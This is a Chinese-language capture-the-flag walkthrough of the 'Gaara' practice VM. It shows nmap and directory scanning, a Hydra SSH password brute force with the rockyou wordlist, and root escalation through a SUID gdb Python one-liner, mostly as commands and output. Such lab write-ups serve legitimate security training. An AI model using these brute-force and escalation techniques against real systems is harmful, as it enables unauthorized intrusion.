Gaara靶机练习

渗透测试

一.信息收集
- 1.确定IP地址
- 2.nmap扫描
- 3.目录扫描
二.hydra爆破
- 1.ssh连接
- 2.信息探索
三.提权
- gdb提权
- - 提权

一.信息收集

1.确定IP地址

┌──(root㉿kali)-[~/kali/web]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:10:3c:9b, IPv4: 192.168.9.10
Starting arp-scan 1.9.8 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.9.2     d4:8f:a2:9f:51:49       Huawei Device Co., Ltd.
192.168.9.11    08:00:27:ca:08:50       PCS Systemtechnik GmbH
192.168.9.12    7c:b5:66:a5:f0:a5       Intel Corporate

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.8: 256 hosts scanned in 2.018 seconds (126.86 hosts/sec). 3 responded

靶机IP地址为192.168.9.11

2.nmap扫描

┌──(root㉿kali)-[~/kali/web]
└─# nmap -p- 192.168.9.11 --min-rate 10000 -oA port                    
Starting Nmap 7.93 ( https://nmap.org ) at 2024-01-13 23:56 EST
Nmap scan report for Gaara (192.168.9.11)
Host is up (0.0033s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:CA:08:50 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 6.75 seconds

┌──(root㉿kali)-[~/kali/web]
└─# nmap -sC -sV -sT 192.168.9.11 --min-rate 10000 
Starting Nmap 7.93 ( https://nmap.org ) at 2024-01-13 23:57 EST
Nmap scan report for Gaara (192.168.9.11)
Host is up (0.016s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 3ea36f6403331e76f8e498febee98e58 (RSA)
|   256 6c0eb500e742444865effed77ce664d5 (ECDSA)
|_  256 b751f2f9855766a865542e05f940d2f4 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Gaara
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:CA:08:50 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.97 seconds

┌──(root㉿kali)-[~/kali/web]
└─# nmap --script=vuln -p 80,22 192.168.9.11 --min-rate 10000
Starting Nmap 7.93 ( https://nmap.org ) at 2024-01-13 23:59 EST
Nmap scan report for Gaara (192.168.9.11)
Host is up (0.00052s latency).

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
MAC Address: 08:00:27:CA:08:50 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 31.98 seconds

22—SSH，80—HTTP

3.目录扫描

对80端口，进行目录探测

┌──(root㉿kali)-[~/kali/web]
└─# dirb http://192.168.9.11:80       

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sun Jan 14 00:02:19 2024
URL_BASE: http://192.168.9.11:80/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.9.11:80/ ----
+ http://192.168.9.11:80/index.html (CODE:200|SIZE:288)                                                                                                                            
+ http://192.168.9.11:80/server-status (CODE:403|SIZE:277)                                                                                                                         
                                                                                                                                                                                   
-----------------
END_TIME: Sun Jan 14 00:02:27 2024
DOWNLOADED: 4612 - FOUND: 2

┌──(root㉿kali)-[~/kali/web]
└─# dirsearch -u "http://192.168.9.11"

  _|. _ _  _  _  _ _|_    v0.4.3                                                                                                                                                    
 (_||| _) (/_(_|| (_| )                                                                                                                                                             
                                                                                                                                                                                    
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /root/kali/web/reports/http_192.168.9.11/_24-01-14_00-02-58.txt

Target: http://192.168.9.11/

[00:02:58] Starting:                                                                                                                                                                
[00:03:00] 403 -  277B  - /.ht_wsr.txt                                      
[00:03:00] 403 -  277B  - /.htaccess.bak1                                   
[00:03:00] 403 -  277B  - /.htaccess.sample                                 
[00:03:00] 403 -  277B  - /.htaccess_sc                                     
[00:03:00] 403 -  277B  - /.htaccessOLD2
[00:03:00] 403 -  277B  - /.htaccess_extra                                  
[00:03:00] 403 -  277B  - /.htaccess.orig
[00:03:00] 403 -  277B  - /.htaccess_orig                                   
[00:03:00] 403 -  277B  - /.htaccess.save
[00:03:00] 403 -  277B  - /.htm                                             
[00:03:00] 403 -  277B  - /.htaccessBAK
[00:03:00] 403 -  277B  - /.htpasswd_test
[00:03:00] 403 -  277B  - /.htpasswds
[00:03:00] 403 -  277B  - /.httr-oauth                                      
[00:03:00] 403 -  277B  - /.htaccessOLD                                     
[00:03:00] 403 -  277B  - /.html                                            
[00:03:40] 403 -  277B  - /server-status/                                   
[00:03:40] 403 -  277B  - /server-status                                    
                                                                             
Task Completed

┌──(root㉿kali)-[~/kali/web]
└─# gobuster dir -u http://192.168.9.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html            
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.9.11
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 288]
/.html                (Status: 403) [Size: 277]
/.html                (Status: 403) [Size: 277]
/server-status        (Status: 403) [Size: 277]
/Cryoserver           (Status: 200) [Size: 327]
Progress: 441120 / 441122 (100.00%)
===============================================================
Finished
===============================================================

发现/Cryoserver目录，在最底下又发现三个目录

在这里插入图片描述 只有imagaara目录中有信息，一个base58加密的字符

在这里插入图片描述
gaara:ismyname

二.hydra爆破

┌──(root㉿kali)-[~/kali/web]
└─# hydra -l gaara -P /usr/share/wordlists/rockyou.txt ssh://192.168.9.11
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-14 00:13:38
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://192.168.9.11:22/
[STATUS] 174.00 tries/min, 174 tries in 00:01h, 14344225 to do in 1373:59h, 16 active
[22][ssh] host: 192.168.9.11   login: gaara   password: iloveyou2
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-01-14 00:15:28

1.ssh连接

┌──(root㉿kali)-[~/kali/web]
└─# ssh gaara@192.168.9.11
gaara@192.168.9.11's password: 
Linux Gaara 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Dec 13 17:00:37 2020 from 192.168.1.107
gaara@Gaara:~$ ls
flag.txt  Kazekage.txt
gaara@Gaara:~$ cat flag.txt 
5451d3eb27acb16c652277d30945ab1e
gaara@Gaara:~$ cat Kazekage.txt 
You can find Kazekage here....

L3Vzci9sb2NhbC9nYW1lcw==

2.信息探索

base64解密后是一个目录

gaara@Gaara:~$ echo 'L3Vzci9sb2NhbC9nYW1lcw==' |base64 -d
/usr/local/games
gaara@Gaara:~$ id
uid=1001(gaara) gid=1001(gaara) groups=1001(gaara)
gaara@Gaara:~$ uname -a
Linux Gaara 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64 GNU/Linux
gaara@Gaara:~$ cd /usr/local/games/
gaara@Gaara:/usr/local/games$ ls
gaara@Gaara:/usr/local/games$ ls -al
total 12
drwx------  2 gaara gaara 4096 Dec 13  2020 .
drwxr-xr-x 10 root  root  4096 Dec 13  2020 ..
-rw-r--r--  1 gaara gaara 1505 Dec 13  2020 .supersecret.txt
gaara@Gaara:/usr/local/games$ cat .supersecret.txt 

Godaime Kazekage:

+++++ +++[- >++++ ++++< ]>+++ +.<++ ++++[ ->+++ +++<] >+.-- ---.< +++++
+++[- >---- ----< ]>--- -.<++ +++++ ++[-> +++++ ++++< ]>+++ +++++ .<+++
[->-- -<]>- .++++ ++.<+ +++++ +++[- >---- ----- <]>-- --.<+ +++++ +++[-
>++++ +++++ <]>+. <+++[ ->--- <]>-- --.-- --.<+ ++[-> +++<] >++.. <+++[
->+++ <]>++ ++.<+ +++++ +++[- >---- ----- <]>-- ----- -.<++ +++++ ++[->
+++++ ++++< ]>+++ .<+++ [->-- -<]>- --.+. +++++ .---. <++++ ++++[ ->---
----- <]>-- ----- ----. <++++ +++++ [->++ +++++ ++<]> +++++ +++.< +++[-
>---< ]>-.+ +++++ .<+++ +++++ +[->- ----- ---<] >---- .<+++ +++++ [->++
+++++ +<]>+ ++.<+ ++[-> +++<] >+++. +++++ +.--- ----- -.--- ----- .<+++
+++++ [->-- ----- -<]>- ---.< +++++ +++[- >++++ ++++< ]>+++ +++.+ ++.++
+++.< +++[- >---< ]>-.< +++++ +++[- >---- ----< ]>--- -.<++ +++++ ++[->
+++++ ++++< ]>++. ----. --.-- ----- -.<++ +[->+ ++<]> +++++ +.<++ +[->-
--<]> ---.+ .++++ +.--- ----. <++++ ++++[ ->--- ----- <]>-- ----- .<+++
+++++ +[->+ +++++ +++<] >+++. <+++[ ->--- <]>-- -.--- ----. <++++ [->++
++<]> +++.< +++++ ++++[ ->--- ----- -<]>- --.<+ +++++ ++[-> +++++ +++<]
>++++ +.--- -.<++ ++[-> ++++< ]>++. <+++[ ->--- <]>-. +++.< +++[- >+++<
]>+++ +.<++ +++++ [->-- ----- <]>-- ----- --.<+ ++++[ ->--- --<]> -----
-.<++ +++++ [->++ +++++ <]>++ +.<++ +++[- >++++ +<]>+ ++++. +++++ ++.<+
+++++ +++[- >---- ----- <]>-- ----- -.<++ ++++[ ->+++ +++<] >++++ .<+++
++[-> +++++ <]>.< ++++[ ->+++ +<]>+ .<+++ [->-- -<]>- ----. +.<++ +[->+
++<]> ++++. <++++ +++++ [->-- ----- --<]> .<

解密地址

在这里插入图片描述

三.提权

查看SUID
查看版本信息
查看计划任务
查看具有root权限的文件

gaara@Gaara:/usr/local/games$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/bin/gdb
/usr/bin/sudo
/usr/bin/gimp-2.10
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/su
/usr/bin/passwd
/usr/bin/mount
/usr/bin/umount
gaara@Gaara:/usr/local/games$ cd /home
gaara@Gaara:/home$ ls
gaara
gaara@Gaara:/home$ cat /etc/c
ca-certificates/      calendar/             cron.d/               cron.hourly/          crontab               
ca-certificates.conf  console-setup/        cron.daily/           cron.monthly/         cron.weekly/          
gaara@Gaara:/home$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
gaara@Gaara:/home$ sudo -l
sudo: unable to resolve host Gaara: Name or service not known
[sudo] password for gaara: 
Sorry, user gaara may not run sudo on Gaara.
gaara@Gaara:/home$ uname -a
Linux Gaara 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64 GNU/Linux

gdb提权

发现SUID中有一个gdb，这个是可以执行一个 Python 脚本

cd /usr/bin
./gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit

gaara@Gaara:/home$ cd /usr/bin/
gaara@Gaara:/usr/bin$ ./gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit
GNU gdb (Debian 8.2.1-2+b3) 8.2.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word".
# id
uid=1001(gaara) gid=1001(gaara) euid=0(root) egid=0(root) groups=0(root),1001(gaara)